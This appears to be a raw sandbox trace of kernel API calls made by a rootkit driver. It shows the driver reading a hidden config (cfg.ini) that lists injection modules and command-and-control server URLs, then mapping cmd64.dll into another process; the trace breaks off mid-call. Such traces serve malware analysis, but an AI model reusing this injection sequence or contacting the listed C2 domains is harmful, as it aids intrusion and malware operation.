KeLeaveCriticalRegion () [0099.788] ZwQueryInformationFile (in: FileHandle=0xffffffff8000052c, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0099.788] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.788] KeEnterCriticalRegion () [0099.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0099.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0099.788] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0099.788] IdePortDispatch () returned 0x103 [0099.789] KeWaitForMutexObject () returned 0x0 [0099.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0099.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.791] KeLeaveCriticalRegion () [0099.791] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.791] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a00182e7c0 [0099.791] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0099.791] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0099.791] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="jusched.exe=") returned 12 [0099.791] _strlwr (in: _Str="jusched.exe=" | out: _Str="jusched.exe=") returned="jusched.exe=" [0099.791] ZwReadFile (in: FileHandle=0xffffffff8000052c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00182e7c0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00182e7c0*) returned 0x0 [0099.791] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.791] KeEnterCriticalRegion () [0099.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800403b7c0 [0099.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038bc390 [0099.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0099.791] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0099.791] IdePortDispatch () returned 0x103 [0099.791] KeWaitForMutexObject () returned 0x0 [0099.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0099.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0099.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038bc390 [0099.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0099.791] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0099.791] IdePortDispatch () returned 0x103 [0099.792] KeWaitForMutexObject () returned 0x0 [0099.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.792] KeLeaveCriticalRegion () [0099.792] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.792] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0099.792] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="jusched.exe=") returned 0x0 [0099.792] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0099.792] ExFreePoolWithTag (P=0xfffff8a00182e7c0, Tag=0x0) [0099.792] ZwClose (Handle=0xffffffff8000052c) returned 0x0 [0099.792] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.792] KeEnterCriticalRegion () [0099.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.792] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0099.792] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800392c400, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0099.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.792] KeLeaveCriticalRegion () [0099.792] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.792] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0099.792] KeEnterCriticalRegion () [0099.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.792] ExFreePoolWithTag (P=0xfffffa80037bc090, Tag=0x0) [0099.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0099.792] KeLeaveCriticalRegion () [0099.792] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0099.792] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0099.792] KeSetEvent (in: Event=0xfffffa800392c530, Increment=0x0, Wait=0 | out: Event=0xfffffa800392c530) returned 0 [0100.511] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\bowser.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.543] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\mpsdrv.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.649] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\mrxsmb.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.721] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\mrxsmb10.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.762] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\mrxsmb20.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.377] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\peauth.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.399] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\secdrv.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.435] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\DRIVERS\\srvnet.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.480] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\DRIVERS\\srv2.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0105.969] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\DRIVERS\\srv.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.653] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x788, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800005b0) returned 0x0 [0113.653] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0113.653] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800006b4, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0113.653] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.653] KeEnterCriticalRegion () [0113.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.653] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0113.653] IdePortDispatch () returned 0x103 [0113.654] KeWaitForMutexObject () returned 0x0 [0113.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0113.654] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0113.654] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0113.654] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0113.654] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0113.654] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b79140 [0113.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.654] KeLeaveCriticalRegion () [0113.654] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.654] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0113.654] NtLockFile (in: FileHandle=0xffffffff800006b4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0113.654] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.654] KeEnterCriticalRegion () [0113.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800393ec30, Context=0x0) returned 0x0 [0113.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.654] KeLeaveCriticalRegion () [0113.654] ZwQueryInformationFile (in: FileHandle=0xffffffff800006b4, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0113.654] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.654] KeEnterCriticalRegion () [0113.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.654] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0113.654] IdePortDispatch () returned 0x103 [0113.654] KeWaitForMutexObject () returned 0x0 [0113.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0113.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.655] KeLeaveCriticalRegion () [0113.655] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.655] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001a93160 [0113.655] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0113.655] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0113.655] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0113.655] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0113.655] ZwReadFile (in: FileHandle=0xffffffff800006b4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a93160, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001a93160*) returned 0x0 [0113.655] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.655] KeEnterCriticalRegion () [0113.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb5160 [0113.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b1a830 [0113.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b1a830, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b1a830) [0113.655] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0113.655] IdePortDispatch () returned 0x103 [0113.655] KeWaitForMutexObject () returned 0x0 [0113.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0113.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b1a830 [0113.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b1a830, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b1a830) [0113.655] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0113.655] IdePortDispatch () returned 0x103 [0113.655] KeWaitForMutexObject () returned 0x0 [0113.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.655] KeLeaveCriticalRegion () [0113.655] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.655] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0113.656] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0113.656] strncpy (in: _Dest=0xfffffa8003b69834, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0113.656] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0113.656] ExFreePoolWithTag (P=0xfffff8a001a93160, Tag=0x0) [0113.656] ZwClose (Handle=0xffffffff800006b4) returned 0x0 [0113.656] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.656] KeEnterCriticalRegion () [0113.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.656] IoGetRequestorProcess (Irp=0xfffffa800393ec30) returned 0xfffffa80018ab040 [0113.656] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002df6d00, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0113.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.656] KeLeaveCriticalRegion () [0113.656] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.656] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0113.656] KeEnterCriticalRegion () [0113.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.656] ExFreePoolWithTag (P=0xfffffa8003b79140, Tag=0x0) [0113.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.656] KeLeaveCriticalRegion () [0113.656] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.656] KeStackAttachProcess (in: PROCESS=0xfffffa8003aa1b30, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa8003aa1b30, ApcState=0xfffff88002f8fa58) [0113.656] _snwprintf (in: _Dest=0xfffffa8003b6962c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0113.656] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0113.656] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff800006b4, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0113.656] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0113.656] KeEnterCriticalRegion () [0113.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.656] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0113.656] IdePortDispatch () returned 0x103 [0113.656] KeWaitForMutexObject () returned 0x0 [0113.657] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0113.657] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0113.657] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.657] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.657] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.657] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0113.657] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0113.657] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0113.657] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0113.657] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0113.657] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0113.657] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003918aa0 [0113.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.657] KeLeaveCriticalRegion () [0113.657] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.657] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800006b4 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0113.657] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0113.657] KeEnterCriticalRegion () [0113.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003b1b330 [0113.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003b1b330 | out: Irp=0xfffffa8003b1b330) returned 0xfffffa8003b87f40 [0113.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0113.657] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0113.657] IdePortDispatch () returned 0x103 [0113.657] KeWaitForMutexObject () returned 0x0 [0113.657] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0113.657] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0113.657] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.657] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.657] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0113.657] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0113.657] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0113.657] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0113.657] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0113.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0113.657] KeLeaveCriticalRegion () [0113.657] IofCompleteRequest (Irp=0xfffffa800393ec30, PriorityBoost=0) [0113.657] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800005b0, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0xfffffa8000000002, AllocationType=0x100000, AccessProtection=0x2 | out: 